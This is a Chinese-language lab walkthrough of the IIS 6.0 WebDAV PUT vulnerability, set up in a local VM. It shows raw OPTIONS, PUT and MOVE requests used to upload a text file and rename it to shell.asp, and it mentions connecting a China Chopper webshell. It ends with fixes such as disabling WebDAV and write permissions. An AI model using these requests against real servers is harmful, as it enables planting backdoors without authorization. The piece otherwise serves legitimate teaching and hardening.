0x00 IIS簡介
IIS是Internet Information Services的縮寫,意為互聯網信息服務,是由微軟公司提供的基於運行Microsoft Windows的互聯網基本服務。
最初是Windows NT版本的可選包,隨后內置在Windows 2000、Windows XP Professional和Windows Server 2003一起發行,但在Windows XP Home版本上並沒有IIS。
IIS是一種Web(網頁)服務組件,其中包括Web服務器、FTP服務器、NNTP服務器和SMTP服務器.
分別用於網頁瀏覽、文件傳輸、新聞服務和郵件發送等方面,它使得在網絡(包括互聯網和局域網)上發布信息成了一件很容易的事。
0x01 Put漏洞造成原因
IIS Server在Web服務擴展中開啟了WebDAV,配置了可以寫入的權限,造成任意文件上傳。
0x02 實驗環境搭建
1:安裝VMware
2:安裝WIN2003
3:配置網絡連接
4:安裝IIS6.0(64bit)
VMware虛擬機選擇的網絡是.NET模式,或者橋接模式也可以!但前提必須讓2003和物理機相互Ping通才可以!
有時候互相Ping不通可能是防火牆的原因,可以把防火牆關閉就可以Ping通了
在這里我的物理機IP:192.168.1.100
WIN2003虛擬機的IP:192.168.119.133
然后配置完IIS后我們用物理機訪問WIN2003的IP看看能不能打開網頁:
上面說明是可以訪問到網站的。(一切就緒)
0x03 需要用到的工具
這里不借助這個工具也是可行的,熟悉了這些請求方式的格式之后,就可以通過burp抓包,改數據也行。
當然也可以利用這個工具:IIS寫權限的利用 - 桂林老兵:https://www.arpun.com/soft/13406.html
(PS:不建議下載到本機吼~)
0x04 IIS-PUT漏洞演示實戰
首先來到Internet信息服務(IIS)管理器 - Web服務擴展:
我們把WebDAV設置為允許、然后網站主目錄下設置可寫入權限:
這個時候就有可能照成任意文件上傳,我們來先來發送一個OPTIONS請求:
options 請求屬於瀏覽器的預檢請求,查看服務器是否接受請求,預檢通過后,瀏覽器才會去發 get, post, put, delete 等請求。
可以看到服務器可以使用PUT、DELETE、MOVE等敏感請求方式,那么我們來試試用PUT寫一個文件:
發現成功上傳了txt文件。(這里如果無法上傳的話,有可能是多重原因,網站目錄權限不夠或者沒有在文件名前面加上/)
那我們再上傳腳本文件asp試試:
這個時候就不行了,但是我們可以通過MOVE請求方式,並利用剛剛上傳上去的test.txt文件做些改動:
這里就可以看到,我們通過先前上傳的test.txt,借助MOVE給他更改了后綴名,那看看里面的內容有沒有發生變化:
文件內容並沒有發生任何變化,這里的MOVE協議是不可以更改文件內容的。
總結一下,只要能夠上傳惡意的txt文件,同時借助MOVE請求方式就可以生成惡意連接后門。
從新上傳一個惡意txt,嘗試連接菜刀,完全沒問題的。
0x05 常見請求協議
GET:
GET /test.txt HTTP/1.1
Referer: http://192.168.101.100
Host: 192.168.101.100
Cookie: iscookies=0;
DELETE:
DELETE /test.txt HTTP/1.1
Host: 192.168.101.100
PUT:
PUT /test.txt HTTP/1.1
Host: 192.168.101.100
Content-Length: 17
this is a test
POST:
POST /test.txt HTTP/1.1
Referer: http://192.168.101.100
Host: 192.168.101.100
Content-Length: 5
Cookie: iscookies=0;
this is a test
MOVE:
MOVE /test.txt HTTP/1.1
Host: 192.168.101.100
Destination: http://192.168.101.100/shell.asp
0x06 漏洞修復建議
1:關閉WebDAV
2:關閉寫入權限